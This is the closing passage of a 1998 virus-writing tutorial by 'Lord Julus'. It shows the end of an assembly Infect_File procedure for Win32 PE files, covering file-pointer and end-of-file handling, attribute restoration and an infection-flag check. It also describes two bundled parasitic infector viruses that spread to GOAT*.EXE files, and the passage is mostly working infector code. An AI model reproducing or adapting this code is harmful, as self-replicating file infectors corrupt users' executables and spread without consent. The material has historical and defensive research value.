 end of file. So, first we move the pointer to the end and set the EOF:

      push 0                                 ; first we must set the file
      push 0                                 ; pointer at the end of file
      push dword ptr [ebp+offset newfilesize]; (that is the beginning +
      push dword ptr [ebp+offset filehandle] ;  new file size)
      mov eax, [ebp+offset ASetFilePointerA] ;
      call eax                               ;
                                             ;
      push dword ptr [ebp+offset filehandle] ; ...and then mark the end of
      mov eax, [ebp+offset ASetEndOfFileA]   ; file...
      call eax                               ;

    + And finaly we close the file:

      push dword ptr [ebp+offset filehandle] ; now, close !
      mov eax, [ebp+ACloseHandleA]           ;
      call eax                               ;

    + Then we must restore File Attributes:

      push dword ptr [ebp+offset fileattributes]
      push dword ptr [ebp+offset fileofs]
      mov eax, [ebp+offset ASetFileAttributesA]
      call eax                               ;
      jmp infection_succesful                ;
                                             ;
infection_error:                             ;
      stc                                    ; CF set if an error occured
      jmp outahere                           ; or file was already infected
                                             ;
infection_succesful:                         ;
      cmp word ptr [ebp+offset infectionflag], 0FFh
      je infection_error                     ;
      clc                                    ; if all is ok, CF is reset
                                             ;
outahere:                                    ;
      popad                                  ; restore registers
      ret                                    ;
Infect_File Endp                             ;


      So, here ends the infect_file procedure. Very quick and easy.

      In  this  article's  package  you  should  find  two  examples of win32
 viruses:
                - Win32.Method1
                - Win32.Method2

      They  are  simple,  parasitic  infectors  for the PE-file, infecting at
 run-time any file in the current directory named GOAT*.EXE. In the package I
 have  also  included  5 GOAT PE files which you can use to check the viriis.
 The viruses are not encrypted in any way, do not have anykind of payload and
 they were created simply to demonstrate 2 ways of appending to the PE file.

        This being said, I wish good luck to everybody and, remember...

                         ...there is always something out there to learn


                                             .-----------------------.
                                             |  Lord Julus 1998 (c)  |
                                             '-----------------------'

  Many thanx go to: Qark, Quantum, Jacky Qwerty, Shaitan, Blue-Skull, Griyo 
                    Darkman, Murkry, a.s.o.                                 
                                                        Lord Julus - 1998